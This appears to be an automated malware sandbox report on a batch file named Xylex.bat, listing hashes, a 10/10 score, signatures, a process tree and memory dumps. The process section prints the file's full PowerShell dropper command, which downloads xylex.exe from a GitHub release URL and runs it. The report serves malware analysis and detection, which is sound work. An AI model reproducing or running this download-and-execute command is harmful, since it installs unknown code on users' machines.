Analysis

  • max time kernel
    117s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    09/06/2024, 19:40

General

  • Target

    Executor/Xylex.bat

  • Size

    254B

  • MD5

    8a650e0e8c42e298585c8e3bce000530

  • SHA1

    d217caf5298b37d250eed6b31992b7a3975832de

  • SHA256

    bee3639262892fde56c1d48d28aa2dd3c137cfd55125005a3b3ea0a36b1d8aa1

  • SHA512

    b21a6d1d2101a19ca7f5b00100f73607f2ff3c280dd4942e4a6004bb4f6b905f662622e6cdc6af6db0d1d3b96a6c00f7cf2653b13220b48e5ba1dcab5c48185e

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xy-leex/xylex/releases/download/vypix/xylex.exe

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Executor\Xylex.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $down=New-Object System.Net.WebClient;$url='https://github.com/xy-leex/xylex/releases/download/vypix/xylex.exe';$file='xylex.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2052

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/2052-4-0x000007FEF5E0E000-0x000007FEF5E0F000-memory.dmp

    Filesize

    4KB

  • memory/2052-5-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2052-6-0x000000001B210000-0x000000001B4F2000-memory.dmp

    Filesize

    2.9MB

  • memory/2052-8-0x0000000002410000-0x0000000002418000-memory.dmp

    Filesize

    32KB

  • memory/2052-7-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2052-9-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2052-10-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2052-11-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

    Filesize

    9.6MB